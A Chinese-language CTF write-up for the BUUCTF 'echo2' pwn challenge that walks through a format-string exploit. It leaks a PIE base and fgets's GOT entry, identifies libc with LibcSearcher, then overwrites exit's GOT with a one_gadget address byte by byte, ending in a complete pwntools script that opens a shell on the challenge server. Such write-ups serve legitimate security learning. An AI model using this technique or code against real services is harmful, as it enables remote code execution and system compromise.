BUU-inndy_echo2-WP
这是一道非常好的题目,我做完之后很有收获。

从安全措施上来看,本题开启了PIE,没开canary(虽然实际上开与不开是不影响这道题的)

这道题和echo看起来很像,但是实际上有不少区别,不仅仅是64位和32位的区别。首先,printf输出的字符上限受到了限制,一次最多输出256个字节,也就是说我们一次只能覆盖两个字节,因此我们无法像echo一样一次覆盖printf的got表为system的plt,由于我们要使用printf来覆盖,部分覆盖会使printf无法使用,所以覆盖printf的got不可行(但是又确实有师傅做到了覆盖printf,不太理解原理)。
所以我们要考虑更换覆盖的函数,而exit函数就非常的合适(system其实也可以,在循环后面就可以了)。但是这些个函数都无法人为指定参数,所以我们需要它直接返回到execve("/bin/sh", ...)这样的函数。程序本身是没有的,但是我们可以多次泄露任意地址内存,由此可以dump出libc,所以我们可以考虑通过LibcSearcher来找出libc,再通过one_gadget来找到目标函数。
思路分析到这里,我们来谈具体做法,首先由于程序开启了PIE保护,需要先泄露程序地址,在执行echo函数时,echo的栈帧的上一个元素存储了函数的返回地址,返回到main中,所以栈中必定有返回地址。我们先尝试输入一串泄露payload

这里可以看出从栈顶开始的第六个是字符串的起始地址,

ida中又可以看出字符串到栈底的偏移是0x110,所以如果我们想输出return address,那么就应该是第(0x110+0x8)/8 + 6=41个参数。因此
sh.sendline("%41$p")
baseAddr = int(sh.recvuntil('\n',drop = True),base = 16) - 0xa03
print hex(baseAddr)
这样我们就可以获得基地址了。被减掉的0xa03是固定的低12位。
有了基地址我们考虑泄露某个函数的got表,这里我选择了fgets
fgets_got_addr = baseAddr + elf.got["fgets"]
exit_got = baseAddr + elf.got["exit"]
sh.sendline("stop%8$sdoneaaaa" + p64(fgets_got_addr))
sh.recvuntil("stop")
fgets_addr = u64(sh.recvuntil("doneaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)
这样我们泄露了fgets的got表值,然后通过LibcSearcher来查找对应的libc版本
libc = LibcSearcher('fgets', fgets_addr)
我们来看一下执行结果(虽然各位师傅应该非常的清楚,但是我还是多说一句,这个时候要连服务器而不是本地,泄露自己的libc是没用的!)

欸,非常好,只有一个匹配结果,那就是他了,然后我们用one_gadget来查找可用的函数

这几个都可以用。为了调用它,我们需要其实际的虚拟地址,就是说需要一个libc的基址,正好我们之前泄露了fgets的地址,手上又有一个找到的libc,我们直接到这个libc里面找fgets,放到IDA里面,alt+t查找,输入fgets

搞定,那么我们只要用fgets减掉6DAD0在加上one_gadget中取得的地址就得到可用的地址了。
地址都搞到了就只差覆写了,这里要注意64位机上地址中很容易出现\x00,所以我们把地址放到payload的最后,这样printf的时候就不会输出不了字符了。然后我们分多次覆写就可以了。
execve_addr = fgets_addr - 0x6DAD0 + 0xf02a4
print hex(execve_addr)
for i in range(0,8):
#overwrite execve_addr+i
length = execve_addr % 0x100
payload = ('%' + str(length) + 'c' + "%8$hhn").ljust(16,'a') + p64(exit_got+i)
if length == 0:
payload = ("%8$hhn").ljust(16,'a') + p64(exit_got+i)
sh.sendline(payload)
sh.recvuntil(chr(int(str(hex(exit_got))[2:4],base = 16)))
execve_addr >>= 8
就是这么处理的。
最后的exp
from pwn import *
from LibcSearcher import *
context(log_level = "debug")
#sh = process("./echo2")
sh = remote("node3.buuoj.cn",29229)
elf = ELF("./echo2")
sh.sendline("%41$p")
baseAddr = int(sh.recvuntil('\n',drop = True),base = 16) - 0xa03
print hex(baseAddr)
system_plt_addr = baseAddr + elf.symbols["system"]
fgets_got_addr = baseAddr + elf.got["fgets"]
exit_got = baseAddr + elf.got["exit"]
sh.sendline("stop%8$sdoneaaaa" + p64(fgets_got_addr))
sh.recvuntil("stop")
fgets_addr = u64(sh.recvuntil("doneaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)
execve_addr = fgets_addr - 0x6DAD0 + 0xf02a4
print hex(execve_addr)
for i in range(0,8):
#overwrite execve_addr+i
length = execve_addr % 0x100
payload = ('%' + str(length) + 'c' + "%8$hhn").ljust(16,'a') + p64(exit_got+i)
if length == 0:
payload = ("%8$hhn").ljust(16,'a') + p64(exit_got+i)
sh.sendline(payload)
sh.recvuntil(chr(int(str(hex(exit_got))[2:4],base = 16)))
execve_addr >>= 8
sh.sendline("exit")
sh.interactive()